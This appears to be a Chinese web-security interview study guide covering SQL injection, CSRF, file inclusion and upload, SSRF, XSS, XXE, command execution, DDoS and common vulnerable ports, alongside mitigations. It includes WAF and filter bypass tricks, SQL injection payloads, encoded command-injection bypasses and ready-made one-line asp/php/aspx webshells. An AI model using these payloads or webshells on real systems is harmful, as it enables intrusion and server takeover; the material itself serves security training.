個人做論壇網(wǎng)站有哪些重慶seo俱樂部聯(lián)系方式
0x00.基礎(chǔ)漏洞篇
00-TOP10漏洞
1.SQL注入
2.失效的身份認證和會話管理
3.跨站腳本攻擊XSS
4.直接引用不安全的對象
5.安全配置錯誤
6.敏感信息泄露
7.缺少功能級的訪問控制
8.跨站請求偽造CSRF
9.實驗含有已知漏洞的組件
10.未驗證的重定向和轉(zhuǎn)發(fā)
01-SQL注入漏洞
原理:產(chǎn)生SQL注入漏洞的根本原因在于代碼中沒有對用戶輸入項進行驗證和處理便直接拼接 到查詢語句中。利用SQL注入漏洞,攻擊者可以在應用的查詢語句中插入自己的SQL代碼并傳遞 給后臺SQL服務器時加以解析并執(zhí)行。
分類:
1.顯注
2.盲注(無回顯): 時間型、布爾型、報錯型
危害:
1.數(shù)據(jù)庫信息泄露
2.網(wǎng)頁篡改
3.網(wǎng)站被掛馬,傳播惡意軟件
4.數(shù)據(jù)庫被惡意操作
5.服務器被植入后門
6.破壞硬盤或者服務器等硬件設(shè)備
如何進行SQL注入的防御
1.關(guān)閉應用的錯誤提示
2.加waf
3.對輸入進行過濾
4.限制輸入長度
5.限制好數(shù)據(jù)庫權(quán)限,drop/create/truncate等權(quán)限謹慎grant
6.預編譯好sql語句,python和Php中一般使用?作為占位符。這種方法是從編程框架方面解 決利用占位符參數(shù)的sql注入,只能說一定程度上防止注入。還有緩存溢出、終止字符等。 7.數(shù)據(jù)庫信息加密安全(引導到密碼學方面)。不采用md5因為有彩虹表,一般是一次md5后 加鹽再md5
8.清晰的編程規(guī)范,結(jié)對/自動化代碼review,加大量現(xiàn)成的解決方案(PreparedStatement,ActiveRecord,歧義字符過濾, 只可訪問存儲過程 balabala)已經(jīng)讓SQL注入的風險變得非常低了。
繞過技術(shù):
1,關(guān)鍵字可以用%(只限 IIS 系列)。比如 select,可以 sel%e%ct
2,通殺的,內(nèi)聯(lián)注釋,如 /!select/
3,編碼,可兩次編碼
4,multipart 請求繞過,在 POST 請求中添加一個上傳文件,繞過了
絕大多數(shù) WAF
5,參數(shù)繞過,復制參數(shù),id=1&id=1
6,組合法 如 and 可以用&&再 URL 編碼
7、替換法,如 and 改成&&;=可以用 like 或 in 等
02-CSRF漏洞
原理:CSRF跨站點請求偽造。攻擊者盜用了受害者的身份,以受害者的名義發(fā)送惡意請求,對 服務器來說這個請求是完全合法的,但是卻完成了攻擊者所期望的一個操作
危害:
1、對網(wǎng)站管理員進行攻擊
2、修改受害網(wǎng)站上的用戶賬戶和數(shù)據(jù)
3、賬戶劫持
4、傳播CSRF蠕蟲進行大規(guī)模攻擊
5、利用csrf進行拖庫
6、利用其他漏洞進行組合拳攻擊
7、針對路由器的csrf攻擊
如何防護:
盡量使用POST,限制GET;
瀏覽器Cookie策略;
加驗證碼;
Referer Check;
Anti CSRF Token
03-文件包含漏洞
類型
1.本地文件包含
2.遠程文件包含 :即加載遠程文件,在php.ini
中開allow_url_include 、 allow_url_fopen選項。開啟后可以直接執(zhí)行任意代碼。
PHP文件包含函數(shù)
1.include():使用此函數(shù),只有代碼執(zhí)行到此函數(shù)時才將文件包含進來,發(fā)生錯誤時只警告 并繼續(xù)執(zhí)行。
2.inclue_once():功能和前者一樣,區(qū)別在于當重復調(diào)用同一文件時,程序只調(diào)用一次。 3.require():使用此函數(shù),只要程序執(zhí)行,立即調(diào)用此函數(shù)包含文件,發(fā)生錯誤時,會輸出 錯誤信息并立即終止程序。
4.require_once():功能和前者一樣,區(qū)別在于當重復調(diào)用同一文件時,程序只調(diào)用一 次。
利用:
1.讀取敏感文件
2.遠程包含shell
3.圖片上傳并包含圖片shenll
4.使用偽協(xié)議
5.包含日志文件GetShell
6.截斷包含
修復方案
1.禁止遠程文件包含allow_url_include=off
2.配置open_basedir=指定目錄,限制訪問區(qū)域。
3.過濾 …/等特殊符號
4.修改Apache日志文件的存放地址
5.開啟魔術(shù)引號magic_quotes_qpc=on
6.盡量不要使用動態(tài)變量調(diào)用文件,直接寫要包含的文件。
04-文件上傳漏洞
原理:由于程序員在對用戶文件上傳功能實現(xiàn)代碼沒有嚴格限制用戶上傳文件后綴
以及文件類型或者處理缺陷,而導致用戶可以越過本身權(quán)限向服務器上傳木馬去控制服務器 .
危害
操作木馬文件提權(quán) 獲取網(wǎng)站權(quán)限
繞過方法:
1.黑名單
a.后綴名不完整 .php5 .phtml等
b.上傳 .htacess
c.大小寫
d.在數(shù)據(jù)包中 后文件綴名前加空格
e.后綴名前加 .
f.加上::$DATA
g.未循環(huán)驗證,可以使用x.php…類似的方法
2.白名單(一般需要配合其他漏洞一起利用)
a.%00截斷
b.圖片馬
c.條件競爭
修復:
1.后端驗證:采用服務端驗證模式
2.后綴驗證:基于白名單,黑名單過濾
3.MIME驗證:基于上傳自帶類型艱檢測
4.內(nèi)容檢測:文件頭,完整性檢測
5.自帶函數(shù)過濾
6.WAF防護軟件:寶塔、云盾等
05-SSRF漏洞
利用一個可以發(fā)起網(wǎng)絡請求的服務當作跳板來攻擊內(nèi)部其他服務。
ssrf危害:
- 探測內(nèi)網(wǎng)信息 ,用協(xié)議探
ftp%26ip={ip}%26port={port}
- 攻擊內(nèi)網(wǎng)或本地其他服務
- 穿透防火墻
具體利用的方式
:
具體操作需要查看支持的協(xié)議,file協(xié)議查看文件、dict協(xié)議探測端口、ophergopher協(xié)議 支持GET&POST請求,同時在攻擊內(nèi)網(wǎng)ftp、redis、telnet、Memcache上有極大作用利用 gopher協(xié)議訪問redis反彈shell
漏洞存在的地方:
1.能夠?qū)ν獍l(fā)起網(wǎng)絡請求的地方
2.請求遠程服務器資源的地方
3.數(shù)據(jù)庫內(nèi)置功能
4.郵件系統(tǒng)
5.文件處理
6.在線處理工具
舉幾個例子:
1.在線識圖,在線文檔翻譯,分享,訂閱等,這些有的都會發(fā)起網(wǎng)絡請求。 2.根據(jù)遠程URL上傳,靜態(tài)資源圖片等,這些會請求遠程服務器的資源。 3.數(shù)據(jù)庫的比如mongodb的copyDatabase函數(shù),這點看豬豬俠講的吧,沒實踐過。 4.郵件系統(tǒng)就是接收郵件服務器地址這些地方。
5.文件就找ImageMagick,xml這些。
6.從URL關(guān)鍵字中尋找,比如:source,share,link,src,imageurl,target等。
繞過姿勢
1.http://example.com@127.0.0.1`
2.利用IP地址的省略寫法繞過 ,[::]繞過localhost
3.DNS解析 http://127.0.0.1.xip.io/可以指向任意ip的域名:xip.io 4.利用八進制IP地址繞過 ,利用十六進制IP地址 ,繞過利用十進制的IP地址繞過
修復:
1.地址做白名單處理
2.域名識別IP 過濾內(nèi)部IP
3.校驗返回的內(nèi)容對比是否與假定的一致
06-邏輯漏洞
1.挖過的邏輯漏洞:
訂單任意金額修改
相同價格增加訂單數(shù)量,相同訂單數(shù)量減少產(chǎn)品價格,訂單價格設(shè)定為負數(shù)。 預防思路:
- 訂單需要多重效驗
- 訂單數(shù)值較大的時候需要人工審核
2.驗證碼回傳
漏洞一般發(fā)生在賬號密碼找回、賬號注冊、支付訂單等。驗證碼發(fā)送途徑一般為手機短信、郵 箱郵件
預防思路:
- response數(shù)據(jù)內(nèi)不包含驗證碼,驗證方式主要采取后端驗證,但是缺點是服務器的運算壓 力也會隨之增加
- 如果要進行前端驗證的話也可以,但是需要進行加密
3.未進行登陸憑證驗證
有些業(yè)務的接口,因為缺少了對用戶的登陸憑證的效驗或者是驗證存在缺陷,導致黑客可以未 經(jīng)授權(quán)訪問這些敏感信息甚至是越權(quán)操作。比如后臺頁面、訂單ID枚舉、敏感信息可下載、沒 驗證ID或cookie驗證導致越權(quán)。
預防思路:
- 對敏感數(shù)據(jù)存在的接口和頁面做cookie,ssid,token或者其它驗證
4.接口無限制枚舉
- 某電商登陸接口無驗證導致撞庫
- 某招聘網(wǎng)驗證碼無限制枚舉
- 某快遞公司優(yōu)惠券枚舉
- 某電商會員卡卡號枚舉
預防思路:
- 在輸入接口設(shè)置驗證,如token,驗證碼等。如果設(shè)定驗證碼,最好不要單純的采取一個前 端驗證,最好選擇后端驗證。如果設(shè)定token,請確保每個token只能采用一次,并且對 token設(shè)定時間參數(shù)。
- 注冊界面的接口不要返回太多敏感信息,以防遭到黑客制作枚舉字典。
- 驗證碼不要用短數(shù)字,盡量6位以上,最好是以字母加數(shù)字進行組合,并且驗證碼需要設(shè)定 時間期限。
- 優(yōu)惠券,VIP卡號請盡量不要存在規(guī)律性和簡短性,并且優(yōu)惠券最好是以數(shù)字加字母進行組 合
5.cookie設(shè)置存在缺陷
- Cookie的效驗值過于簡單。有些web對于cookie的生成過于單一或者簡單,導致黑客可以 對cookie的效驗值進行一個枚舉 .
- cookie存在被盜風險,即用戶重置密碼后使用老cookie依然可以通過驗證
- 用戶的cookie數(shù)據(jù)加密應嚴格使用標準加密算法,并注意密鑰管理。不能采取簡單的 base64等算法
- 越權(quán):平行越權(quán):權(quán)限類型不變,權(quán)限ID改變;垂直越權(quán):權(quán)限ID不變,權(quán)限類型改變;交 叉越權(quán):即改變ID,也改變權(quán)限
預防思路
1.cookie中設(shè)定多個驗證,比如自如APP的cookie中,需要sign和ssid兩個參數(shù)配對,才能返回數(shù)據(jù)。
2.用戶的cookie數(shù)據(jù)加密應嚴格使用標準加密算法,并注意密鑰管理。
3.用戶的cookie的生成過程中最好帶入用戶的密碼,一旦密碼改變,cookie的值也會改變。
4.cookie中設(shè)定session參數(shù),以防cookie可以長時間生效。
5.根據(jù)業(yè)務不同還有很多方法
07-XSS漏洞
原理: 通過插入惡意腳本,實現(xiàn)對用戶瀏覽器的攻擊
類型: 存儲、反射、dom
反射和dom的區(qū)別: DOM-XSS是javascript處理輸出, 而反射性xss是后臺程序處理
XSS繞過:
1.大小寫
2.js偽協(xié)議
3.沒有分號
4.Flash
5.Html5新標簽
6.Fuzz進行測試
7.雙層標簽繞過
修復防御:
1.對輸入內(nèi)容的特定字符進行編碼,例如表示html標記的 < > 等符號。
2.對重要的cookie設(shè)置httpOnly, 防止客戶端通過document.cookie讀取 cookie,此 HTTP頭由服務端設(shè)置。
3.將不可信的值輸出URL參數(shù)之前,進行URLEncode操作,而對于從URL參數(shù)中獲取值一定要 進行格式檢測(比如你需要的時URL,就判讀是否滿足URL格式)。
4.不要使用Eval來解析并運行不確定的數(shù)據(jù)或代碼,對于JSON解析請使用 JSON.parse() 方法。
08-XXE漏洞?
原理: 解析用戶傳入的xml
作用: 內(nèi)網(wǎng)端口掃描、利用file協(xié)議等讀取文件、攻擊內(nèi)網(wǎng)web應用使用get(struts2等)
危害
1.導致可以加載惡意外部文件
2.造成文件讀取
3.內(nèi)網(wǎng)端口掃描
4.攻擊內(nèi)網(wǎng)網(wǎng)站
5.發(fā)起dos攻擊等危害
防御: 過濾用戶提交的XML數(shù)據(jù)、如果你當前使用的程序為PHP,則可以將 libxml_disable_entity_loader設(shè)置為TRUE來禁用外部實體,從而起到防御的目的
09-代碼執(zhí)行漏洞
原理:沒有對接口輸入的內(nèi)容進行嚴格的判斷 造成攻擊者精心構(gòu)造的代碼非法執(zhí)行
當應用在調(diào)用一些能將字符轉(zhuǎn)化為代碼的函數(shù)(如PHP中的eval)時,沒有考慮用戶是否能控 制這個字符串,這就會造成代碼執(zhí)行漏洞。
相關(guān)函數(shù):
PHP:eval assert
Python:exec
asp:<%=CreateObject(“wscript.shell”).exec(“cmd.exe /c
ipconfig”).StdOut.ReadAll()%>
危害:
執(zhí)行代碼
讓網(wǎng)站寫shell
甚至控制服務器
漏洞利用:
執(zhí)行代碼的函數(shù):eval、assert
callback函數(shù):preg_replace + /e模式
反序列化:unserialize()(反序列化函數(shù))
防御修復:
1.使用json保存數(shù)組,當讀取時就不需要使用eval了
2.對于必須使用eval的地方,一定嚴格處理用戶數(shù)據(jù)
3.字符串使用單引號包括可控代碼,插入前使用addslashes轉(zhuǎn)義
4.放棄使用preg_replace的e修飾符,使用preg_replace_callback()替換
5.若必須使用preg_replace的e修飾符,則必用單引號包裹正則匹配出的對象
10.關(guān)于路徑覆蓋漏洞(不常問)
RPO的全稱為Relative Path Overwrite,也就是相對路徑覆蓋,利用客戶端和服務端的差 異,通過相對路徑來引入我們想要的js或css文件,從而實現(xiàn)某種攻擊。
就目前來看此攻擊方法依賴于瀏覽器和網(wǎng)絡服務器的反應,基于服務器的Web緩存技術(shù)和配置 差異,以及服務器和客戶端瀏覽器的解析差異,利用前端代碼中加載的css/js的相對路徑來加 載其他文件,最終瀏覽器將服務器返回的不是css/js的文件當做css/js來解析,從而導致 XSS,信息泄露等漏洞產(chǎn)生
11.郵件系統(tǒng)漏洞攻擊
漏洞攻擊是危害網(wǎng)絡安全中較為常見的一種。作為當今世界上使用最為頻繁的商務通信工具—— 郵件系統(tǒng),更是屢屢遭受漏洞攻擊的困擾,這不僅因為制造漏洞的途徑多,還以為郵件系統(tǒng)的 互聯(lián)網(wǎng)通信協(xié)議本身的問題。前者如程序員因為工作失誤出現(xiàn)編碼漏洞,畢竟人非機器,在緊 張復雜的工作過程中,難免有個閃失,除了人為因素,還有軟件編碼工具及編譯器造成的錯 誤,不同應用程序彼此之間的相互作用,如大多數(shù)程序必須與其它API相交互,保存并檢索文 件,同時運行在多種不同類型的設(shè)備上,都會可能產(chǎn)生漏洞;后者如互聯(lián)網(wǎng)通信協(xié)議—TCP和 UDP,其開放性常常引來黑客的攻擊;而IP地址的脆弱性,也給黑客的偽造提供了可能,從而 泄露遠程服務器的資源信息。
除了以上原因,據(jù)業(yè)界知名郵件通聯(lián)服務商U-Mail專家張工分析,常見漏洞大概可分為幾種:
一、IMAP 和 POP 漏洞:
這些協(xié)議常見弱點是密碼脆弱,同時,各種IMAP和POP服務還容易受到如緩沖區(qū)溢出等類型的 攻擊。
二、拒絕服務(DoS)攻擊:
1.死亡之Ping——發(fā)送一個無效數(shù)據(jù)片段,該片段始于包結(jié)尾之前,但止于包結(jié)尾之后; 2.同步攻擊——極快地發(fā)送TCP SYN包(它會啟動連接),使受攻擊的機器耗盡系統(tǒng)資源,進而 中斷合法連接;
3.循環(huán)——發(fā)送一個帶有完全相同的源/ 目的地址/端口的偽造SYN包,使系統(tǒng)陷入一個試圖完 成TCP連接的無限循環(huán)中。
三、系統(tǒng)配置漏洞:
1.默認配置——大多數(shù)系統(tǒng)在交付給客戶時都設(shè)置了易于使用的默認配置,被黑客盜用變得輕 松;2.空的/默認根密碼——許多機器都配置了空的或默認的根/管理員密碼,并且其數(shù)量多得 驚人;
3.漏洞創(chuàng)建——幾乎所有程序都可以配置為在不安全模式下運行,這會在系統(tǒng)上留下不必要的漏 洞。
四、利用軟件問題:在服務器守護程序、客戶端應用程序、操作系統(tǒng)和網(wǎng)絡堆棧中,存在很多 的軟件錯誤,分為以下幾類:
1.緩沖區(qū)溢出——程序員會留出一定數(shù)目的字符空間來容納登錄用戶名,黑客則會通過發(fā)送比指 定字符串長的字符串,其中包括服務器要執(zhí)行的代碼,使之發(fā)生數(shù)據(jù)溢出,造成系統(tǒng)入侵。
2.意外組合——程序通常是用很多層代碼構(gòu)造而成的,入侵者可能會經(jīng)常發(fā)送一些對于某一層毫 無意義,但經(jīng)過適當構(gòu)造后對其他層有意義的輸入。
3.未處理的輸入——大多數(shù)程序員都不考慮輸入不符合規(guī)范的信息時會發(fā)生什么。
12-DNS欺騙是什么?
定義: DNS欺騙就是攻擊者冒充域名服務器的一種欺騙行為。
原理:如果可以冒充域名服務器,然后把查詢的IP地址設(shè)為攻擊者的IP地址,這樣的話,用戶 上網(wǎng)就只能看到攻擊者的主頁,而不是用戶想要取得的網(wǎng)站的主頁了,這就是DNS欺騙的基本 原理。 DNS欺騙其實并不是真的“黑掉”了對方的網(wǎng)站,而是冒名頂替、招搖撞騙罷了。
13-DDOS攻擊
分布式拒絕服務攻擊(DDoS)是目前黑客經(jīng)常采用而難以防范的攻擊手段。DoS的攻擊方式有 很多種,最基本的DoS攻擊就是利用合理的服務請求來占用過多的服務資源,從而使合法用戶 無法得到服務的響應。
抗D思想和方案
負載均衡
花錢買流量清洗服務
CDN:web層,比如cc攻擊
分布式集群防御
高防:防大部分攻擊,udp、大型的cc攻擊
預防為主
系統(tǒng)漏洞
系統(tǒng)資源優(yōu)化:
過濾不必要的服務和端口
限制特定流量:檢查訪問來源做適當限制
14-什么是CC攻擊?
CC攻擊是DDOS(分布式拒絕服務)的一種,相比其它的DDOS攻擊CC似乎更有技術(shù)含量一些。這種攻擊你見不到真實源IP,見不到特別大的異 常流量,但造成服務器無法進行正常連接。CC攻擊的原理就 是攻擊者控制某些主機不停地發(fā) 大量數(shù)據(jù)包給對方服務器造成服務器資源耗盡, 一直到宕機潰。CC主要是用來攻擊頁面的, 每個人都有這樣的體驗:當一個 網(wǎng)頁訪問的人數(shù)特別多的時候,打開網(wǎng)頁就慢了,CC就是模 擬多個用戶(多少 線程就是多少用戶)不停地進行訪問那些需要大量數(shù)據(jù)操作(就是需要大量 CPU時間)的頁面,造成服務器資源的浪費,CPU長時間處100%,永遠都有處 理不完的連接直 至就網(wǎng)絡擁塞,正常的訪問被中止。
15-常見的端口和對應的服務
1、web類
這部分常有的漏洞有: (web漏洞/敏感目錄)第三方通用組件漏洞struts、thinkphp、 jboss、ganglia、zabbix
80 web
80-89 web
8000-9090 web
2、數(shù)據(jù)庫類(掃描弱口令)
1433 | MSSQL |
---|---|
1521 | Oracle |
3306 | MySQL |
5432 | PostgreSQL |
3、特殊服務類(未授權(quán)/命令執(zhí)行/漏洞)
443 SSL心臟滴血
873 Rsync未授權(quán)
5984 CouchDB http://xxx:5984/_utils/
6379 redis未授權(quán)
7001、7002 weblogic默認弱口令、反序列化
9200、9300 elasticsearch 參考烏云:多玩某服務器ElasticSearch命令執(zhí)行漏洞
11211 memcache未授權(quán)訪問
50000 SAP命令執(zhí)行
50070、50030 hadoop默認端口未授權(quán)訪問
4、常用端口類(掃描弱口令/端口爆破)
21 ftp
22 ssh
23 telnet
2601、2604 zebra路由,默認密碼zebra
3389 遠程桌面
常見的端口漏洞
21 ftp FTP服務端有很多 anonymous 匿名未授權(quán)訪問 爆破
22 ssh root密碼爆破 后門用戶 可以google查一些關(guān)于ssh后門的文章 里面的默認密 碼 可能會登入進去
23 telnet 一般會發(fā)生在 路由器 或者交換機 嵌入式設(shè)備 管理端口 攻擊方法 弱口令
25 smtp 默認用戶 默認密碼 郵件賬號爆破
80 http web 常見的Owasp top 10 中間件反序列化 中間件溢出 fastcgi配置不 當 造成fastcgi端口泄露
110 pop3 默認用戶 默認密碼 郵件賬號爆破
443 https openssl 心臟滴血(影響范圍較小) SSL/TLS低版本存在的漏洞
135 139 445 netbios smb MS17010
3389 RDP CVE-2019-0708
3389和443、445有什么漏洞?
445:ms06_040,蠕蟲,勒索病毒、MS17-010
443:ssl心臟滴血
3389:rdp漏洞、弱口令、cve-2019-0708、ms12-20
端口合計詳情
161 SNMP
389 LDAP
512、513、514 Rexec
873 Rsync未授權(quán)
1025、1111 NSF
1433 sqlserver
1521 Oracle: (iSqlPlus port:5560、7778) 2082/2083 cpanel主機管理系統(tǒng)登錄
2222 DA虛擬主機管理系統(tǒng)登錄
2601、2604 zebra路由,默認密碼zebra
3128 squid代理默認端口,如果沒設(shè)置口令很可能直接漫游內(nèi)網(wǎng)
3306 Mysql
3312/3311 kangle主機管理系統(tǒng)登錄
4440 rundeck 參考烏云:借用新浪某服務成功漫游新浪內(nèi)網(wǎng)
5432 PostgreSQL
5900 vnc
5984 CouchDB
6082 varnish
6379 redis未授權(quán)
7001、7002 weblogic默認弱口令、反序列化
7778 kloxo主機控制面板登錄
8000-9090 都是一些常見的web端口,有些運維謝歡吧管理后臺開放在這些非80端口上
8080 tomcat/wDCP主機管理系統(tǒng),默認弱口令
8080、8089、9090 jboss
8083 Vestacp主機管理系統(tǒng)
8649 ganglia
8888 amh/LuManager 主機管理系統(tǒng)默認端口
9200、9300 elasticsearch 參考烏云:多玩某服務器ElasticSearch命令執(zhí)行漏洞
10000 Virtualmin/Webmin 服務器虛擬主機管理系統(tǒng)
11211 memcache未授權(quán)訪問
27017、27018 Mongodb未授權(quán)訪問
28017 mongodb統(tǒng)計頁面
50000 SAP命令執(zhí)行
50070、50030 hadoop默認端口未授權(quán)訪問
16-身份認證漏洞最常見是?
1.會話固定攻擊
2.cookie仿冒
只要得到session和cookie即可偽造用戶身份
17-驗證碼漏洞
1.驗證碼漏洞存在暴力破解
2.可以通過js或改包方法進行繞過
18-DOM 型XSS人工測試
人工測試思路:找到類似 document.write、innerHTML賦值、outterHTML 賦值、 window.location 操作、寫javascript:后內(nèi)容、eval、setTimeout 、setInterval 等直接執(zhí)行之類的函數(shù)點。找到其變量,回溯變量來源觀察是否可控,是否經(jīng) 過安全函數(shù)。
19-為什么參數(shù)化查詢可以防止SQL注入?
原理: 使用參數(shù)化查詢數(shù)據(jù)庫服務器不會把參數(shù)的內(nèi)容當作sql指令的一部分來執(zhí)行,是在數(shù) 據(jù)庫完成sql指令的編譯后才套用參數(shù)運行
簡單的說: 參數(shù)化能防注入的原因在于 ,語句是語句,參數(shù)是參數(shù),參數(shù)的值并不是語句的一 部分,數(shù) 據(jù)庫只按語句的語義跑
20.各種常見的狀態(tài)碼?
200 OK //客戶端請求成功
403 Forbidden //服務器收到請求,但是拒絕提供服務
404 Not Found //請求資源不存在,eg:輸入了錯誤的 URL
500 Internal Server Error //服務器發(fā)生不可預期的錯誤
21-Dll劫持漏洞
由于輸入表中只包含DLL名而沒有它的路徑名,因此加載程序必須在磁盤上搜 索 DLL 文件。首先會嘗試從當前程序所在的目錄加載DLL,如果沒找到,則在 Windows系統(tǒng)目錄中查找,最后是在環(huán)境變量中列出的各個目錄下查找。利用 這個特點,先偽造一個系統(tǒng)同名的DLL,提供同樣的輸出表,每個輸出函數(shù)轉(zhuǎn)向
真正的系統(tǒng)DLL。程序調(diào)用系統(tǒng)DLL時會先調(diào)用當前目錄下偽造的 DLL,完成相關(guān)功能后,再 跳到系統(tǒng)DLL同名函數(shù)里執(zhí)行。這個過程用個形象的詞來描述,就是系統(tǒng)DLL被劫持 (hijack)了。偽造的dll制作好后,放到程序當前目錄下,這樣當原程序調(diào)用原函數(shù)時就調(diào) 用了偽造的dll的同名函數(shù),進入劫持DLL的代碼,處理完畢后,再調(diào)用原DLL此函數(shù)。
DLL劫持利用系統(tǒng)未知DLL的搜索路徑方式,使得程序加載當前目錄下的系統(tǒng)同名DLL。所以可 以告訴系統(tǒng)DLL的位置,改變加載系統(tǒng)DLL的順序不是當前目錄,而是直接到系統(tǒng)目錄下查找。
22-一句話木馬
asp一句話木馬: <%execute(request(“value”))%>
php一句話木馬:<?php@eval($_POST[value]);?>
變形:<?php$x=$_GET[‘z’];@eval(“$x;”);?>
aspx一句話木馬:
<%@ PageLanguage=“Jscript”%>
<%eval(Request.Item[“value”])%>
23-命令執(zhí)行漏洞
繞過技巧:
cat 233.txt # 管道符號繞過
\# 空格繞過 ${IFS}
\# %0a、%09 # 重定向繞過 < <>
\# 變量拼接繞過 @kali:$ a=c;b=at;c=fl;d=ag;$a$b $c$d
\# 單引號、雙引號繞過 ca''t flag cat"" flag
\# 編碼繞過
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
#{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"} |\$0 ==>cat /flag
#$(printf "\154\163") ==>ls
$(printf "\154\163")
# 查看等價替換
(1)more:一頁一頁的顯示檔案內(nèi)容
(2)less:與more類似,但是比more更好的是,他可以[pg dn][pg up]翻頁
(3)head:查看頭幾行
(4)tac:從最后一行開始顯示,可以看出tac是cat的反向顯示
(5)tail:查看尾幾行
(6)nl:顯示的時候,順便輸出行號
(7)od:以二進制的方式讀取檔案內(nèi)容
(8)vi:一種編輯器
(9)vim:一種編輯器
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:報錯出具體內(nèi)容 # 反斜線繞過 c\at fl\ag
# 內(nèi)斂注釋繞過 #`命令`和$(命令)都是執(zhí)行命令的方式 echo "m0re`cat flag`" echo "m0re $(cat flag)"
# base64編碼繞過 `echo "Y2F0IGZsYWc=" |base64 -d`
# 繞過長度限制
# >命令會將原有文件內(nèi)容覆蓋 echo '123'>xxoo.txt # >>符號的作用是將字符串添 加到文件內(nèi)容末尾,不會覆蓋原內(nèi)容 echo '233'>>xxoo.txt# 命令換行繞過
ca\
a\
0x01.滲透思路篇
00-拿到目標站以后的滲透思路?
滲透測試流程:
1. 項目前期準備工作
2. 信息收集:whois、網(wǎng)站源IP、旁站、C段網(wǎng)站、服務器系統(tǒng)版本、容器版本、程序版本、 數(shù)據(jù)庫類型、二級域名、防火墻、維護者信息
3. 漏洞掃描:Nessus, AWVS
4. 手動挖掘:邏輯漏洞
5. 驗證漏洞
6. 修復建議
7. (如果有)基線檢查/復驗漏洞
8. 輸出報告
01-sleep函數(shù)被禁用后怎么進行sql注入?
BENCHMARK,Get_lock函數(shù),當都被禁用后可以用計算量比較大的語句使數(shù)據(jù)庫查詢時間變 長,從而達到延時注入的效果。
mysql:AND (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C);
02-哪些地方存在xxe?架構(gòu)問題?
xxe常見場景是如pdf在線解析、word在線解析、定制協(xié)議,留言板等,跟邏輯設(shè)計有關(guān)而與 語言無關(guān),最好是不要讓XML作為參數(shù)傳輸或整體結(jié)構(gòu)可被用戶篡改。如果一定要使用,至少 要禁用DTD、Entity。
xxe危害 讀取本地文件,執(zhí)行系統(tǒng)命令,探測內(nèi)網(wǎng)端口,攻擊內(nèi)網(wǎng)服務
探測內(nèi)網(wǎng)端口的協(xié)議有g(shù)opher file dict,不同語言支持不同的協(xié)議,是具體情況而定 file http ftp是常用的
防范,python用lxml時可以對resolve_entities設(shè)為false。或者過濾用戶提交的xml
客戶端也可以有xxe攻擊,有的網(wǎng)站會使用office打開docx進行解析
Java解析XML的常用三方庫,如果不禁用DTD、Entity都會導致XXE漏洞:
javax.xml.stream.XMLStreamReader;
javax.xml.parsers.DocumentBuilderFactory
03-如何繞過Http-only?
HTTP-Only禁止的是JS讀取cookie信息,Http Trace攻擊就可以將你的Header里的 Cookie回顯出來,利用Ajax或者flash就可以完成這種攻擊;或者配置或者應用程序上可能 Bypass,比如header頭的泄漏
04-如何繞過CDN查真實IP?
1.多地ping看是否有cdn
2.郵件訂閱或者rss訂閱
3.二級域名可能不會做cdn
4.nslookup http://xxx.com 國外dns
5.查找域名歷史解析記錄,因為域名在上
05-SQL二次注入?
第一次進行數(shù)據(jù)庫插入數(shù)據(jù)的時候,僅僅只是使用了addslashes
或者是借助get_magic_quotes_gpc
對其中的特殊字符進行了轉(zhuǎn)義,在寫入數(shù)據(jù)庫的時候還是保留了 原來的數(shù)據(jù),但是數(shù)據(jù)本身還是臟數(shù)據(jù)。在將數(shù)據(jù)存入到了數(shù)據(jù)庫中之后,開發(fā)者就認為數(shù)據(jù) 是可信的。在下一次進行需要進行查詢的時候,直接從數(shù)據(jù)庫中取出了臟數(shù)據(jù),沒有進行進一 步的檢驗和處理,這樣就會造成SQL的二次注入。
交友網(wǎng)站,填寫年齡處是一個注入點,頁面會顯示出與你相同年齡的用戶有幾個。使用and 1=1確定注入點,用order by探測列數(shù),union select探測輸出點是第幾列,
- 爆庫
group_concat(schema_name) from information_schema.schemata
- 爆表
group_concat(table_name) from information_schema.schemata where table_schema='hhh'
- 獲取數(shù)據(jù)
concat(flag) from flag
修復:在從數(shù)據(jù)庫或文件中取數(shù)據(jù)的時候,也要進行轉(zhuǎn)義或者過濾。
06-GPC是什么?GPC之后怎么繞過?
如果magic_quotes_gpc=On
,PHP解析器就會自動為post、get、cookie過來的數(shù)據(jù) 增加轉(zhuǎn)義字符“\”,以確保這些數(shù)據(jù)不會引起程序,特別是數(shù)據(jù)庫語句因為特殊字符(認為是 php的字符)引起的污染.
07-如何防范webshell
防范的措施大概有三種
第一種的思路是將專門存放上傳文件的文件夾里面的腳本類型文件,解析成其他類型的文件, 服務器不會以腳本類型來執(zhí)行它。
第二種是匹配文件夾里的腳本類型文件,將其設(shè)置為無法讀取及操作。
第三種是將文件上傳到一個單獨的文件夾,給一個二級的域名,然后不給這個虛擬站點解析腳 本的權(quán)限,聽說很多網(wǎng)站都用這種方式
08-webshell檢查思路
webshell就是以asp、php、jsp或者cgi等網(wǎng)頁文件形式存在的一種命令執(zhí)行環(huán)境,也可以 將其稱做為一種網(wǎng)頁后門。
黑客通過瀏覽器以HTTP協(xié)議訪問Web Server上的一個CGI文件,是一個合法的TCP連接, TCP/IP的應用層之下沒有任何特征,只能在應用層進行檢測。黑客入侵服務器,使用 webshell,不管是傳文件還是改文件,必然有一個文件會包含webshell代碼,很容易想到 從文件代碼入手,這是靜態(tài)特征檢測;webshell運行后,B/S數(shù)據(jù)通過HTTP交互,HTTP請 求/響應中可以找到蛛絲馬跡,這是動態(tài)特征檢測。
靜態(tài)檢測
靜態(tài)檢測通過匹配特征碼,特征值,危險函數(shù)函數(shù)來查找webshell的方法,只能查找已知的 webshell,并且誤報率漏報率會比較高,但是如果規(guī)則完善,可以減低誤報率,但是漏報率 必定會有所提高。優(yōu)點是快速方便,對已知的webshell查找準確率高,部署方便,一個腳本 就能搞定。缺點漏報率、誤報率高,無法查找0day型webshell,而且容易被繞過。
靜態(tài)檢測配合人工
一個檢查工具 https://github.com/he1m4n6a/findWebshell
動態(tài)檢測
